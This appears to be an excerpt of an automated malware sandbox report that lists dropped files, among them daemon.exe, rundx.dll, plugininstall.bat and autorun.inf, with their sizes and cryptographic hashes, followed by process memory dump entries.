C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
bdaf11b412f3b7571ca670d2d597fa4f

SHA1
a1e98d7f7554a82e06ab8935f25c0dcd0fb7e049

SHA256
a3f8ba6e0884436936d0211081b8aaa03725500c82b5f286faf1e0d7e615cf2b

SHA512
5a008704df5f7f0643de267408a2d24fad8ac1dddf2fc43bb090138afccfc406a10ed23783599edafc543fdd69db51e3388ba5cf7a00bd2f37cf8d393b8a04ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabBF3D.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarBFCC.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\daemon.exe

Filesize
275KB

MD5
ef1d48e8226e491133525df0e4d44dea

SHA1
16295c3ea0c8ba71edf39bc2627093d7c4a64cfc

SHA256
b2f9228bc717b88b83c990ebcb8e30dafd7748e1c927c23a305ac8ec29298039

SHA512
d2d701ea7ec2edccf334c57295ef4fe055ad3607772424c0194295ddd3a8c4a783586462afc48a36ce3a8174997ce4c4cf11676b65453e0da878c9edc2b9c3b6

Download Submit
C:\Users\Admin\AppData\Roaming\plugininstall.bat

Filesize
1KB

MD5
8990de1f668a1ae548754018742a2a66

SHA1
849cbd8f0436e0fe3c483ef7451e4c58d9a85049

SHA256
b42cf0d02c3a9cf3f15d6edb396b6c1baac3f8ac2aea936812ca558e131e053b

SHA512
96657ec87ef61b0466d32d0d97f1e67708e6a5e41e656656f99828144e821186bb8484805280af04cf824f0e155f1f02d4c108232b85e0b2addde1f2b0d38e80

Download Submit
C:\autorun.inf

Filesize
63B

MD5
f64baf418f685884efec59a9d80bc5f6

SHA1
9c90f7a7efd7ef3059837fdeb06b6b781ca6d1e9

SHA256
4b9870b1f52e252451b3fa099e8b270c32ddc6fc29372067be28dcd009ec4e8f

SHA512
dceecd6a564c974c71ceeb544b0dfde70a09315db6d72a50fdbecdc0cf505a7ce52b7a83a9a8c79e8cfbb996c054585da6d7c08bf0026b4d9ecdde5f0a2b2a69

Download Submit
\Users\Admin\AppData\Roaming\rundx.dll

Filesize
189KB

MD5
a01432e980fe9219321ddd236a3d04e1

SHA1
0297fa99366a537280bb4a2f6ee56a9c222c675b

SHA256
2bba62cf51afb5811c87b14039a700bd7abce57f8bbf623e154a7faedef05867

SHA512
22fd99b879f62295d1459a573559f61dc1a59fcb225a7c59d566d64229139674cb22bd2ec3abb9245f849ea6254a62ef123176308ee54a89e6b10b83ecb66c92

Download Submit
memory/940-529-0x0000000001060000-0x0000000001093000-memory.dmp

Filesize
204KB

Download
memory/940-524-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/940-27-0x0000000001200000-0x0000000001254000-memory.dmp

Filesize
336KB

Download
memory/940-1079-0x0000000001200000-0x0000000001254000-memory.dmp

Filesize
336KB

Download
memory/1136-509-0x0000000000130000-0x0000000000131000-memory.dmp

Filesize
4KB

Download
memory/2552-0-0x0000000010000000-0x0000000010053000-memory.dmp

Filesize
332KB

Download
memory/2552-4-0x0000000001200000-0x0000000001254000-memory.dmp

Filesize
336KB

Download
memory/2552-542-0x0000000001200000-0x0000000001254000-memory.dmp

Filesize
336KB

Download
memory/2552-323-0x0000000001140000-0x0000000001194000-memory.dmp

Filesize
336KB

Download
memory/2552-26-0x0000000001140000-0x0000000001194000-memory.dmp

Filesize
336KB

Download